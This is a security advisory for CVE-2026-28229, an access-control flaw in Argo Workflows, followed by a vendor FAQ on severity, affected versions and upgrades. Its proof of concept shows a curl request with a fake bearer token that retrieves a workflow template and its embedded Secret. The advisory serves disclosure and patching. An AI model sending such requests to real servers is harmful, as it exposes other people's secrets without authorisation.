CVE-2026-28229

Workflow templates endpoints allow any client to retrieve WorkflowTemplates (and ClusterWorkflowTemplates). Any request with a Authorization: Bearer nothing token can leak sensitive template content, including embedded Secret manifests.

Details

https://github.com/argoproj/argo-workflows/blob/b519c9054e66b2f0a25eec06709717bd1362f72e/server/workflowtemplate/workflow_template_server.go#L60-L78

https://github.com/argoproj/argo-workflows/blob/b519c9054e66b2f0a25eec06709717bd1362f72e/server/clusterworkflowtemplate/cluster_workflow_template_server.go#L54-L72

Informers use the server’s rest config, so they read using server SA privileges.

https://github.com/argoproj/argo-workflows/blob/b519c9054e66b2f0a25eec06709717bd1362f72e/server/workflowtemplate/informer.go#L29-L42

https://github.com/argoproj/argo-workflows/blob/b519c9054e66b2f0a25eec06709717bd1362f72e/server/clusterworkflowtemplate/informer.go#L34-L46

PoC

1. Create template

apiVersion: argoproj.io/v1alpha1
kind: WorkflowTemplate
metadata:
  name: leak-workflow-template
  namespace: argo
spec:
  templates:
  - name: make-secret
    resource:
      action: create
      manifest: |
        apiVersion: v1
        kind: Secret
        metadata:
          name: leaked-secret
        type: Opaque
        data:
          password: c3VwZXJzZWNyZXQ=

Then apply that with kubectl apply -f poc.yml
2. Query Argo Server with a fake token

Result:

> kubectl apply -f poc.yml
workflowtemplate.argoproj.io/leak-workflow-template created
> curl -sk -H "Authorization: Bearer nothing" \
    "https://localhost:2746/api/v1/workflow-templates/argo/leak-workflow-template"
{"metadata":{"name":"leak-workflow-template","namespace":"argo","uid":"6f91481c-df9a-4aeb-9fe3-a3fb6b12e11c","resourceVersion":"867394","generation":1,"creationTimestamp":"REDACTED","annotations":{"kubectl.kubernetes.io/last-applied-configuration":"{\"apiVersion\":\"argoproj.io/v1alpha1\",\"kind\":\"WorkflowTemplate\",\"metadata\":{\"annotations\":{},\"name\":\"leak-workflow-template\",\"namespace\":\"argo\"},\"spec\":{\"templates\":[{\"name\":\"make-secret\",\"resource\":{\"action\":\"create\",\"manifest\":\"apiVersion: v1\\nkind: Secret\\nmetadata:\\n  name: leaked-secret\\ntype: Opaque\\ndata:\\n  password: c3VwZXJzZWNyZXQ=\\n\"}}]}}\n"},"managedFields":[{"manager":"kubectl-client-side-apply","operation":"Update","apiVersion":"argoproj.io/v1alpha1","time":"REDACTED","fieldsType":"FieldsV1","fieldsV1":{"f:metadata":{"f:annotations":{".":{},"f:kubectl.kubernetes.io/last-applied-configuration":{}}},"f:spec":{".":{},"f:templates":{}}}}]},"spec":{"templates":[{"name":"make-secret","inputs":{},"outputs":{},"metadata":{},"resource":{"action":"create","manifest":"apiVersion: v1\nkind: Secret\nmetadata:\n  name: leaked-secret\ntype: Opaque\ndata:\n  password: c3VwZXJzZWNyZXQ=\n"}}],"arguments":{}}}

Any client can leaks Workflow Template and Cluster Workflow Template data, including secrets, artifact locations, service account usage, env vars, and resource manifests.

The application does not correctly enforce access controls, allowing a principal to access resources or operations beyond their granted permissions. Typical impact: unauthorized data access or execution of privileged operations.

CVE-2026-28229 has a CVSS score of 7.5 (High). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (4.0.2, 3.7.11); upgrading removes the vulnerable code path.

Kodem intelligence

1. What is CVE-2026-28229? CVE-2026-28229 is a high-severity incorrect authorization vulnerability in github.com/argoproj/argo-workflows/v4 (go), affecting versions < 4.0.2. It is fixed in 4.0.2, 3.7.11. The application does not correctly enforce access controls, allowing a principal to access resources or operations beyond their granted permissions.
2. How severe is CVE-2026-28229? CVE-2026-28229 has a CVSS score of 7.5 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which packages are affected by CVE-2026-28229?
   • github.com/argoproj/argo-workflows/v4 (go) (versions < 4.0.2)
   • github.com/argoproj/argo-workflows/v3 (go) (versions >= 3.7.0, < 3.7.11)
4. Is there a fix for CVE-2026-28229? Yes. CVE-2026-28229 is fixed in 4.0.2, 3.7.11. Upgrade to this version or later.
5. Is CVE-2026-28229 exploitable, and should I be worried? Whether CVE-2026-28229 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-28229 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-28229?
   • Upgrade github.com/argoproj/argo-workflows/v4 to 4.0.2 or later
   • Upgrade github.com/argoproj/argo-workflows/v3 to 3.7.11 or later